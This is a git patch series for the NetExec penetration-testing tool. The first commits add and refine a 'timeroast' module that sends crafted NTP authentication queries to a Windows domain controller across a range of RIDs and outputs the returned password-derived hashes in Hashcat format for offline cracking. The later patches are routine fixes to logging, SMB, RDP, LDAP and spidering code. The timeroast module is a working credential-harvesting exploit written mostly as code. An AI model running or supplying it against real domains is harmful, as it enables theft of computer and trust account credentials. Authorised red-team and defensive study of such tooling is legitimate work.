From 56795fc713d5fb4f97a10279f6ea10f3aee88b10 Mon Sep 17 00:00:00 2001 From: Enrico Belgiovine Date: Sat, 18 May 2024 00:43:57 +0200 Subject: [PATCH 01/20] feat: timeroast.py implemented as netexec module --- nxc/modules/timeroast.py | 113 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 nxc/modules/timeroast.py diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py new file mode 100644 index 00000000..a3852bb1 --- /dev/null +++ b/nxc/modules/timeroast.py @@ -0,0 +1,113 @@ +from binascii import hexlify, unhexlify +from select import select +from time import time +from socket import socket, AF_INET, SOCK_DGRAM +from struct import pack, unpack + + + +def hashcat_format(rid, hashval, salt): + """ + Encodes hash in Hashcat-compatible format (with username prefix). + """ + return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}' + +class NXCModule: + ''' + Module by Disgame: @Disgame + Based on research from SecuraBV (@SecuraBV) + + Much of this code was copied from the original implementation. + ''' + + name = 'timeroast' + description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account' + supported_protocols = ['smb'] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + + # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. + self.ntp_prefix = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a') + + + def options(self, context, module_options): + """Required. + Module options get parsed here. Additionally, put the modules usage here as well + """ + self.rids = range(1, 2**31) + self.rate = 180 + self.timeout = 24 + self.src_port = 0 + self.target = None + + if "rids" in module_options: + self.rids = module_options["rids"] + if "rate" in module_options: + self.rate = module_options["rate"] + if "timeout" in module_options: + self.timeout = module_options["timeout"] + if "src_port" in module_options: + self.src_port = module_options["src_port"] + + def on_login(self, context, connection): + + if self.target is None: + self.target = connection.host + + for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, False, self.src_port): + context.log.highlight(hashcat_format(rid, hash, salt)) + + def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port = 0): + """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. + Rate is the number of queries per second to send. + Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will + not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network + issues. + + Yields (rid, hash, salt) pairs, where salt is the NTP response data. + """ + + # Flag in key identifier that indicates whether the old or new password should be used. + keyflag = 2**31 if old_pwd else 0 + + # Bind UDP socket. + with socket(AF_INET, SOCK_DGRAM) as sock: + try: + sock.bind(('0.0.0.0', src_port)) + except PermissionError: + context.log.exception(f'No permission to listen on port {src_port}. May need to run as root.') + + context.log.display("Starting Timeroasting...") + + query_interval = 1 / rate + last_ok_time = time() + rids_received = set() + rid_iterator = iter(rids) + + while time() < last_ok_time + giveup_time: + # Send out query for the next RID, if any. + query_rid = next(rid_iterator, None) + if query_rid is not None: + query = self.ntp_prefix + pack(' Date: Sat, 18 May 2024 01:01:45 +0200 Subject: [PATCH 02/20] feat: new option to retrieve old hashes --- nxc/modules/timeroast.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index a3852bb1..6e075802 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -17,6 +17,8 @@ class NXCModule: Module by Disgame: @Disgame Based on research from SecuraBV (@SecuraBV) + https://github.com/SecuraBV/Timeroast/ + Much of this code was copied from the original implementation. ''' @@ -24,7 +26,7 @@ class NXCModule: description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account' supported_protocols = ['smb'] opsec_safe = True - multiple_hosts = True + multiple_hosts = False def __init__(self): self.context = None @@ -35,13 +37,11 @@ class NXCModule: def options(self, context, module_options): - """Required. - Module options get parsed here. Additionally, put the modules usage here as well - """ self.rids = range(1, 2**31) self.rate = 180 self.timeout = 24 self.src_port = 0 + self.old_hashes = False self.target = None if "rids" in module_options: @@ -52,13 +52,14 @@ class NXCModule: self.timeout = module_options["timeout"] if "src_port" in module_options: self.src_port = module_options["src_port"] + if "old_hashes" in module_options: + self.old_hashes = module_options["old_hashes"] def on_login(self, context, connection): - if self.target is None: self.target = connection.host - for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, False, self.src_port): + for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): context.log.highlight(hashcat_format(rid, hash, salt)) def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port = 0): From 41430731238a80c41af70f53e37d1003c6f8a3e6 Mon Sep 17 00:00:00 2001 From: Enrico Belgiovine Date: Sat, 18 May 2024 01:04:40 +0200 Subject: [PATCH 03/20] fix: moved display Information out of logic --- nxc/modules/timeroast.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index 6e075802..918cf152 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -59,6 +59,8 @@ class NXCModule: if self.target is None: self.target = connection.host + context.log.display("Starting Timeroasting...") + for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): context.log.highlight(hashcat_format(rid, hash, salt)) @@ -82,7 +84,6 @@ class NXCModule: except PermissionError: context.log.exception(f'No permission to listen on port {src_port}. May need to run as root.') - context.log.display("Starting Timeroasting...") query_interval = 1 / rate last_ok_time = time() From e7d30329ed60555ab4eea98f7cc6e9789789fad7 Mon Sep 17 00:00:00 2001 From: Enrico Belgiovine Date: Sat, 18 May 2024 01:39:27 +0200 Subject: [PATCH 04/20] fix: ruff check --- nxc/modules/timeroast.py | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index 918cf152..bc87f8e0 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -7,24 +7,22 @@ from struct import pack, unpack def hashcat_format(rid, hashval, salt): - """ - Encodes hash in Hashcat-compatible format (with username prefix). - """ - return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}' + """Encodes hash in Hashcat-compatible format (with username prefix).""" + return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" class NXCModule: - ''' + """ Module by Disgame: @Disgame Based on research from SecuraBV (@SecuraBV) https://github.com/SecuraBV/Timeroast/ Much of this code was copied from the original implementation. - ''' + """ - name = 'timeroast' - description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account' - supported_protocols = ['smb'] + name = "timeroast" + description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account" + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False @@ -33,7 +31,7 @@ class NXCModule: self.module_options = None # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. - self.ntp_prefix = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a') + self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") def options(self, context, module_options): @@ -61,10 +59,10 @@ class NXCModule: context.log.display("Starting Timeroasting...") - for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): - context.log.highlight(hashcat_format(rid, hash, salt)) + for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): + context.log.highlight(hashcat_format(rid, md5hash, salt)) - def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port = 0): + def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0): """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. Rate is the number of queries per second to send. Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will @@ -73,16 +71,15 @@ class NXCModule: Yields (rid, hash, salt) pairs, where salt is the NTP response data. """ - # Flag in key identifier that indicates whether the old or new password should be used. keyflag = 2**31 if old_pwd else 0 # Bind UDP socket. with socket(AF_INET, SOCK_DGRAM) as sock: try: - sock.bind(('0.0.0.0', src_port)) + sock.bind(("0.0.0.0", src_port)) except PermissionError: - context.log.exception(f'No permission to listen on port {src_port}. May need to run as root.') + context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") query_interval = 1 / rate @@ -94,7 +91,7 @@ class NXCModule: # Send out query for the next RID, if any. query_rid = next(rid_iterator, None) if query_rid is not None: - query = self.ntp_prefix + pack(' Date: Mon, 25 Nov 2024 15:49:42 -0500 Subject: [PATCH 05/20] Update impacket so ldaps channel binding is supported --- nxc/protocols/ldap.py | 6 ------ poetry.lock | 10 +++++----- 2 files changed, 5 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8e290588..acc05846 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -495,15 +495,12 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") @@ -585,15 +582,12 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") diff --git a/poetry.lock b/poetry.lock index 2e614965..6b899e7d 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. [[package]] name = "aardwolf" @@ -894,7 +894,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20240916.171021.65b774de" +version = "0.13.0.dev0+20241125.162952.ea27e8b2" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -902,12 +902,12 @@ files = [] develop = false [package.dependencies] -charset-normalizer = "*" +charset_normalizer = "*" flask = ">=1.0" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" -pyasn1-modules = "*" +pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "24.0.0" pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} @@ -918,7 +918,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "65b774ded17a79f1041397202852eab0c24cd039" +resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d" [[package]] name = "iniconfig" From 9d558d95dbfb3b7a9b5b43c47d5edc07044f44d2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 17:31:50 -0500 Subject: [PATCH 06/20] Remove unnecessary exception info which results in double logs, caused by kwargs passed as exc_info in log record --- nxc/logger.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index 2a30a025..8429de09 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -43,7 +43,7 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs): temp_logger = logging.getLogger("temp") formatter = logging.Formatter("%(message)s", datefmt="[%X]") handler = SmartDebugRichHandler(formatter=formatter) - handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame)) + handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame)) class SmartDebugRichHandler(RichHandler): @@ -56,9 +56,6 @@ class SmartDebugRichHandler(RichHandler): def emit(self, record): """Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno""" - # for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging - record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text - if hasattr(record, "caller_frame"): frame_info = inspect.getframeinfo(record.caller_frame) record.pathname = frame_info.filename From 8dabb3d0e6b0a26e324e7a4781f03405a10699f0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 18:27:59 -0500 Subject: [PATCH 07/20] Remove formatter that strips out escape sequence, as already done by Text.from_ansi --- nxc/logger.py | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index 8429de09..f44c37a4 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -3,7 +3,6 @@ from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys -import re from nxc.console import nxc_console from nxc.paths import NXC_PATH from termcolor import colored @@ -174,7 +173,7 @@ class NXCAdapter(logging.LoggerAdapter): self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False @@ -206,17 +205,5 @@ class NXCAdapter(logging.LoggerAdapter): ) -class TermEscapeCodeFormatter(logging.Formatter): - """A class to strip the escape codes for logging to files""" - - def __init__(self, fmt=None, datefmt=None, style="%", validate=True): - super().__init__(fmt, datefmt, style, validate) - - def format(self, record): # noqa: A003 - escape_re = re.compile(r"\x1b\[[0-9;]*m") - record.msg = re.sub(escape_re, "", str(record.msg)) - return super().format(record) - - # initialize the logger for all of nxc - this is imported everywhere nxc_logger = NXCAdapter() From 9e024582a48491ce4909f00fbd46000411bd7e21 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 18:41:10 -0500 Subject: [PATCH 08/20] Add timeout check, to not double check a non existent host --- nxc/protocols/smb.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0f27f80a..8fa940bb 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -159,6 +159,7 @@ class smb(connection): self.bootkey = None self.output_filename = None self.smbv1 = None + self.is_timeouted = False self.signing = False self.smb_share_name = smb_share_name self.pvkbytes = None @@ -551,8 +552,13 @@ class smb(connection): ) self.smbv1 = True except OSError as e: - if str(e).find("Connection reset by peer") != -1: + if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") + if "timed out" in str(e): + self.is_timeouted = True + return False + except NetBIOSError: + self.logger.info(f"SMBv1 disabled on {self.host}") return False except (Exception, NetBIOSTimeout) as e: self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") @@ -596,7 +602,7 @@ class smb(connection): self.smbv1 = self.create_smbv1_conn() if self.smbv1: return True - else: + elif not self.is_timeouted: return self.create_smbv3_conn() elif not no_smbv1 and self.smbv1: return self.create_smbv1_conn() From 9644cae865ebc3cc5c29d14e0641b3b24adbfb6a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 18:43:23 -0500 Subject: [PATCH 09/20] Simplify logging --- nxc/protocols/smb.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 8fa940bb..e58b8de0 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -554,8 +554,11 @@ class smb(connection): except OSError as e: if "Connection reset by peer" in str(e): self.logger.info(f"SMBv1 might be disabled on {self.host}") - if "timed out" in str(e): + elif "timed out" in str(e): self.is_timeouted = True + self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}") + else: + self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}") return False except NetBIOSError: self.logger.info(f"SMBv1 disabled on {self.host}") @@ -576,15 +579,7 @@ class smb(connection): timeout=self.args.smb_timeout, ) self.smbv1 = False - except OSError as e: - # This should not happen anymore!!! - if str(e).find("Too many open files") != -1: - if not self.logger: - print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger)) - self.proto_logger() - self.logger.fail(f"SMBv3 connection error on {self.host}: {e}") - return False - except (Exception, NetBIOSTimeout) as e: + except (Exception, NetBIOSTimeout, OSError) as e: self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}") return False return True From 410e040a283b4c35279db7d0528b3b4fa53a6884 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 19:00:45 -0500 Subject: [PATCH 10/20] Don't print an index error with null session, we won't have null user in the db --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e58b8de0..23a3567f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -846,7 +846,7 @@ class smb(connection): self.logger.debug(f"domain: {self.domain}") user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except IndexError as e: - if self.kerberos: + if self.kerberos or self.username == "": pass else: self.logger.fail(f"IndexError: {e!s}") From b9f52fdd4b90148ef2ea06618273919eb02a211a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 28 Nov 2024 19:00:54 -0500 Subject: [PATCH 11/20] Formating --- nxc/protocols/smb.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 23a3567f..2ba13024 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -948,10 +948,9 @@ class smb(connection): self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions - def dir(self): # noqa: A003 search_path = ntpath.join(self.args.dir, "*") - try: + try: contents = self.conn.listPath(self.args.share, search_path) except SessionError as e: error = get_error_string(e) @@ -960,7 +959,7 @@ class smb(connection): color="magenta" if error in smb_error_status else "red", ) return - + if not contents: return @@ -970,7 +969,6 @@ class smb(connection): full_path = ntpath.join(self.args.dir, content.get_longname()) self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") - @requires_admin def interfaces(self): """ From af8001591ca07623280b3a13149d2fd325dca296 Mon Sep 17 00:00:00 2001 From: Joytide Date: Tue, 3 Dec 2024 10:53:36 +0100 Subject: [PATCH 12/20] Bugfix: file extension filter of spiderplus was misleading --- nxc/modules/spider_plus.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 6697c332..fd837b33 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -286,6 +286,8 @@ class SMBSpiderPlus: # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: + if file_extension.startswith(".") and len(file_extension) > 1: + file_extension = file_extension[1:] self.stats["file_exts"].add(file_extension.lower()) if file_extension.lower() in self.exclude_exts: self.logger.info(f'The file "{file_path}" has an excluded extension.') From bd50a585a18f9d848eb598c1513e8a933dd6e43f Mon Sep 17 00:00:00 2001 From: MaxToffy <91328785+MaxToffy@users.noreply.github.com> Date: Wed, 4 Dec 2024 11:12:15 +0100 Subject: [PATCH 13/20] Fix TARGET_DN object query Signed-off-by: MaxToffy <91328785+MaxToffy@users.noreply.github.com> --- nxc/modules/daclread.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 2cb4f45c..efec5532 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -373,7 +373,7 @@ class NXCModule: if self.target_DN is not None: _lookedup_principal = self.target_DN target = self.ldap_session.search( - searchBase=self.baseDN, + searchBase=_lookedup_principal, searchFilter=f"(distinguishedName={_lookedup_principal})", attributes=["nTSecurityDescriptor"], searchControls=controls, From 3ca3481270da8759abe45485cfd4b38039731f53 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Thu, 5 Dec 2024 00:38:41 +0200 Subject: [PATCH 14/20] Update spider_plus.py for both with and without dots Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/modules/spider_plus.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index fd837b33..da7d1bec 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -286,10 +286,9 @@ class SMBSpiderPlus: # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: - if file_extension.startswith(".") and len(file_extension) > 1: - file_extension = file_extension[1:] + file_extension = file_extension.lstrip(".") self.stats["file_exts"].add(file_extension.lower()) - if file_extension.lower() in self.exclude_exts: + if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]: self.logger.info(f'The file "{file_path}" has an excluded extension.') self.stats["num_files_filtered"] += 1 return From 74eb4cbcc825564f47b52b7a338330fcd4181eaa Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 9 Dec 2024 22:35:02 +0100 Subject: [PATCH 15/20] Update rdp.py Signed-off-by: lapinou --- nxc/protocols/rdp.py | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index f6d01d6e..6a0d6784 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -373,18 +373,22 @@ class rdp(connection): asyncio.run(self.screen()) async def nla_screen(self): - # Otherwise it crash - self.iosettings.supported_protocols = None - self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) - await self.connect_rdp() - await asyncio.sleep(int(self.args.screentime)) + for proto in self.protoflags_nla: + try: + self.iosettings.supported_protocols = proto + self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) + self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + await self.connect_rdp() + await asyncio.sleep(int(self.args.screentime)) - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") - buffer.save(filename, "png") - self.logger.highlight(f"NLA Screenshot saved {filename}") + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + buffer.save(filename, "png") + self.logger.highlight(f"NLA Screenshot saved {filename}") + return + except Exception: + pass def nla_screenshot(self): if not self.nla: From 5174ce4a6b37b55e6a0f5e33a96c9f43f7240950 Mon Sep 17 00:00:00 2001 From: lapinou Date: Mon, 9 Dec 2024 23:09:12 +0100 Subject: [PATCH 16/20] Update rdp.py Signed-off-by: lapinou --- nxc/protocols/rdp.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 6a0d6784..d1e73d3e 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -379,16 +379,16 @@ class rdp(connection): self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() - await asyncio.sleep(int(self.args.screentime)) - - if self.conn is not None and self.conn.desktop_buffer_has_data is True: - buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") - buffer.save(filename, "png") - self.logger.highlight(f"NLA Screenshot saved {filename}") - return except Exception: - pass + return + + await asyncio.sleep(int(self.args.screentime)) + if self.conn is not None and self.conn.desktop_buffer_has_data is True: + buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) + filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + buffer.save(filename, "png") + self.logger.highlight(f"NLA Screenshot saved {filename}") + return def nla_screenshot(self): if not self.nla: From 8a55f22dc0a709de6c0474e1a24988d9cd5debbc Mon Sep 17 00:00:00 2001 From: lapinou Date: Tue, 10 Dec 2024 19:31:17 +0100 Subject: [PATCH 17/20] Update rdp.py Signed-off-by: lapinou --- nxc/protocols/rdp.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index d1e73d3e..4f027797 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -373,11 +373,13 @@ class rdp(connection): asyncio.run(self.screen()) async def nla_screen(self): + self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) + for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto - self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + await self.connect_rdp() except Exception: return From 55c4cfd219fa0f0696a6ac1a07ceb29d60725493 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 10 Dec 2024 17:42:38 -0500 Subject: [PATCH 18/20] Add log message and use NXC_PATH var --- nxc/protocols/rdp.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 4f027797..9a8a5a46 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto +from nxc.paths import NXC_PATH + class rdp(connection): def __init__(self, args, db, host): @@ -166,6 +168,7 @@ class rdp(connection): return True def check_nla(self): + self.logger.debug(f"Checking NLA for {self.host}") for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto @@ -381,13 +384,14 @@ class rdp(connection): self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() - except Exception: + except Exception as e: + self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") return await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return From c4671a2c1720bc7af848839cd3f230d72465de70 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 10 Dec 2024 18:27:12 -0500 Subject: [PATCH 19/20] Add base-dn options for ldap to fix stuff like #500 --- nxc/protocols/ldap.py | 2 ++ nxc/protocols/ldap/proto_args.py | 3 ++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index acc05846..082b34bf 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -255,6 +255,7 @@ class ldap(connection): def enum_host_info(self): self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) + self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args self.hostname = self.target self.remoteName = self.target self.domain = self.targetDomain @@ -697,6 +698,7 